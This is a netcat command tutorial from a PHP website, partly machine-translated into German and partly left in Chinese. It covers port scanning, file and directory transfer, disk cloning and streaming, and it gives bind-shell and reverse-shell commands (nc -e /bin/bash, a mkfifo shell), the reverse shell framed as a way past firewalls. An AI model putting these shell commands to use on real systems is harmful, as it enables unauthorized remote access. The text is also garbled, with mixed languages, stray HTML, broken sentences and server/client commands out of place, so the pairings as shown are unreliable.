Heim  >  Artikel  >  Betrieb und Instandhaltung  >  Netcat-Befehl unter Linux

Netcat-Befehl unter Linux

ringa_lee
ringa_leeOriginal
2017-10-15 10:36:081703Durchsuche

[Einführung] Netcat ist das Schweizer Taschenmesser unter den Netzwerktools. Es kann Daten im Netzwerk über TCP und UDP lesen und schreiben. Sie können es auf vielfältige Weise innerhalb Ihrer Skripte verwenden, indem Sie es mit anderen Tools kombinieren und umleiten. Es ist erstaunlich, was Sie mit dem Netcat-Befehl erreichen können. Netcat stellt eine Verbindung zwischen zwei Computern her

Netcat ist das Schweizer Taschenmesser unter den Netzwerktools. Es kann Daten im Netzwerk über TCP und UDP lesen und schreiben. Sie können es auf vielfältige Weise in Ihren Skripten verwenden, indem Sie es mit anderen Tools kombinieren und umleiten. Es ist erstaunlich, was Sie mit dem Netcat-Befehl erreichen können.

Alles, was Netcat tut, ist, eine Verbindung zwischen zwei Computern herzustellen und zwei Datenströme zurückzugeben. Was Sie danach tun können, hängt von Ihrer Vorstellungskraft ab. Sie können einen Server einrichten, Dateien übertragen, mit Freunden chatten, Medien streamen oder ihn als eigenständigen Client für andere Protokolle verwenden.

Hier sind einige Beispiele für die Verwendung von Netcat.

[A(172.31.100.7) B(172.31.100.23)]

Linux Netcat-Befehlsbeispiel:

1. Port-Scanning

Port-Scanning wird häufig von Systemadministratoren und Hackern verwendet, um offene Ports auf einigen Maschinen zu entdecken und ihnen dabei zu helfen, Schwachstellen im System zu identifizieren.

$nc -z -v -n 172.31.100.7 21-25

kann im TCP- oder UDP-Modus ausgeführt werden. Der Parameter -u ist auf udp eingestellt IO, bezogen auf Sobald die Verbindung geschlossen ist, findet kein Datenaustausch statt (Anmerkung des Übersetzers: Die Übersetzung hier ist nicht korrekt. Wenn es eine andere bessere gibt, weisen Sie bitte darauf hin)

  • Der v-Parameter bezieht sich auf die Verwendung der redundanten Option (Übersetzungshinweis: Dies ist eine detaillierte Ausgabe)

  • n-Parameter weist Netcat an, DNS nicht zu verwenden, um den Domänennamen der IP-Adresse rückwärts abzufragen

  • Dieser Befehl gibt 21 aller offenen Ports bis 25 aus. Banner ist eine Textnachricht, die Ihnen von einem Dienst gesendet wird, mit dem Sie verbunden sind. Bannerinformationen sind sehr nützlich, wenn Sie versuchen, eine Schwachstelle oder den Typ und die Version eines Dienstes zu identifizieren. Allerdings versenden nicht alle Dienste Banner.

  • Sobald Sie offene Ports gefunden haben, können Sie ganz einfach den Netcat-Verbindungsdienst nutzen, um deren Banner abzurufen.

Der Netcat-Befehl stellt eine Verbindung zum offenen Port 21 her und druckt die Bannerinformationen des auf diesem Port ausgeführten Dienstes.

Chat-Server
$ nc -v 172.31.100.7 21

Wenn Sie mit Ihren Freunden chatten möchten, stehen Ihnen zahlreiche Software- und Informationsdienste zur Verfügung. Wenn Sie jedoch nicht über eine so luxuriöse Konfiguration verfügen, sich beispielsweise in einem Computerraum befinden und alle externen Verbindungen eingeschränkt sind, wie kommunizieren Sie dann mit Ihren Freunden, die den ganzen Tag im Nebenzimmer sitzen? Seien Sie nicht deprimiert, Netcat bietet eine solche Methode. Sie müssen lediglich einen Chat-Server mit einem vorgegebenen Port erstellen, damit er Sie kontaktieren kann.

Server

Der Netcat-Befehl startet einen TCP-Server auf Port 1567, und alle Standardausgaben und -eingaben werden an diesen Port ausgegeben. In dieser Shell werden sowohl Ausgabe als auch Eingabe angezeigt.

Client
$nc -l 1567

Was auch immer Sie auf Maschine B eingeben, wird auf Maschine A angezeigt.

3. Dateiübertragung
$nc 172.31.100.7 1567

Meistens versuchen wir, Dateien über das Netzwerk oder andere Tools zu übertragen. Es gibt viele Methoden wie FTP, SCP, SMB usw., aber wenn Sie Dateien nur vorübergehend oder einmalig übertragen müssen, lohnt es sich wirklich, Zeit mit der Installation und Konfiguration einer Software auf Ihrem Computer zu verschwenden. Angenommen, Sie möchten eine Datei file.txt von A nach B übertragen. Entweder A oder B können als Server oder Client dienen. Im Folgenden soll A als Server und B als Client fungieren.

Server

Client

$nc -l 1567 Hier erstellen wir einen Server auf A und leiten Netcats Eingaben in die Datei file.txt um, dann bei erfolgreicher Verbindung An diesen Port sendet Netcat den Dateiinhalt der Datei. <p></p>Auf der Clientseite leiten wir die Ausgabe an file.txt um. Wenn B eine Verbindung zu A herstellt, sendet A den Dateiinhalt und B speichert den Dateiinhalt an file.txt.<pre class="brush:php;toolbar:false">$nc -n 172.31.100.7 1567 > file.txt

Das gibt es Es ist nicht erforderlich, eine Dateiquelle als Server zu erstellen, wir können sie auch umgekehrt verwenden. Wie unten senden wir Dateien von B nach A, aber der Server wird auf A erstellt. Dieses Mal müssen wir nur die Ausgabe von Netcat und die Eingabedateien von B umleiten.

B als Server

Server

Client

$nc -l 1567 > file.txt
4. Verzeichnisübertragung

Das Senden einer Datei ist einfach , aber wenn wir mehrere Dateien oder das gesamte Verzeichnis senden möchten, ist es immer noch sehr einfach, das komprimierte Paket mit dem Komprimierungstool tar zu komprimieren und zu senden.
nc 172.31.100.23 1567 <p>Wenn Sie ein Verzeichnis über das Netzwerk von A nach B übertragen möchten. </p><p>Server</p><p></p>Client<p></p><pre class="brush:php;toolbar:false">$tar -cvf – dir_name | nc -l 1567
Hier auf Server A erstellen wir ein TAR-Archiv und leiten es über - in der Konsole um und verwenden dann Pipe zur Umleitung an Netcat, das es über das Netzwerk senden kann.

Auf dem Client laden wir das komprimierte Paket über die Netcat-Pipeline herunter und öffnen die Datei.
$nc -n 172.31.100.7 1567 | tar -xvf -

Wenn Sie Bandbreite für die Übertragung komprimierter Pakete sparen möchten, können wir bzip2 oder andere Tools zur Komprimierung verwenden.

Server

Komprimiert durch bzip2

Client
$tar -cvf – dir_name| bzip2 -z | nc -l 1567

Dekomprimiert durch bzip2

5. Verschlüsseln Sie Ihr Netzwerk. Gesendet Daten
$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

Wenn Sie sich Sorgen um die Sicherheit der Daten machen, die Sie über das Netzwerk senden, können Sie diese vor dem Senden Ihrer Daten mit einem Tool wie mcrypt verschlüsseln.

Serverseitig

Verwenden Sie das mcrypt-Tool, um Daten zu verschlüsseln.

Client
$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

Verwenden Sie das mcrypt-Tool, um die Daten zu entschlüsseln.

以上两个命令会提示需要密码,确保两端使用相同的密码。

这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。

6. 流视频

虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用Netcat,我们仍然有希望做成这件事。

服务端

$cat video.avi | nc -l 1567

这里我们只是从一个视频文件中读入并重定向输出到Netcat客户端

$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

这里我们从socket中读入数据并重定向到mplayer。

7、克隆一个设备

如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。

克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上

Server

$dd if=/dev/sda | nc -l 1567

Client

$nc -n 172.31.100.7 1567 | dd of=/dev/sda

dd是一个从磁盘读取原始数据的工具,我通过Netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。

8、打开一个shell

我们已经用过远程shell-使用telnet和ssh,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用Netcat创建远程shell。

假设你的Netcat支持 -c -e 参数(默认 Netcat)

Server

$nc -l 1567 -e /bin/bash -i

Client

$nc 172.31.100.7 1567

这里我们已经创建了一个Netcat服务器并且表示当它连接成功时执行/bin/bash

假如Netcat 不支持-c 或者 -e 参数(openbsd Netcat),我们仍然能够创建远程shell

Server

$mkfifo /tmp/tmp_fifo$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo

这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到Netcat 运行的端口1567上。至此,我们已经把Netcat的输出重定向到fifo文件中。

说明:从网络收到的输入写到fifo文件中

  • cat 命令读取fifo文件并且其内容发送给sh命令

  • sh命令进程受到输入并把它写回到Netcat。

  • Netcat 通过网络发送输出到client

至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。

9、在客户端仅仅简单连接到服务器

Client

$nc -n 172.31.100.7 1567

你会得到一个shell提示符在客户端

反向shell

反向shell是人曾经在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。

服务端

$nc -l 1567

在客户端,简单地告诉Netcat在连接完成后,执行shell。

客户端

$nc 172.31.100.7 1567 -e /bin/bash

现在,什么是反向shell的特别之处呢

反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为172.31.100.7,我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。

10. 指定源端口

假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。

服务器端

$nc -l 1567

客户端

$nc 172.31.100.7 1567 -p 25

使用1024以内的端口需要root权限。

该命令将在客户端开启25端口用于通讯,否则将使用随机端口。

11、指定源地址

假设你的机器有多个地址,希望明确指定使用哪个地址用于外部数据通讯。我们可以在Netcat中使用-s选项指定ip地址。

服务器端

$nc -u -l 1567 <p>客户端</p><pre class="brush:php;toolbar:false">$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt

该命令将绑定地址172.31.100.5。

这仅仅是使用Netcat的一些示例。

其它用途有:

  • 使用-t选项模拟Telnet客户端,

  • HTTP客户端用于下载文件,

  • 连接到邮件服务器,使用SMTP协议检查邮件,

  • 使用ffmpeg截取屏幕并通过流式传输分享,等等。其它更多用途。

简单来说,只要你了解协议就可以使用Netcat作为网络通讯媒介,实现各种客户端。

Netcat-Befehl unter Linux

Das obige ist der detaillierte Inhalt vonNetcat-Befehl unter Linux. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn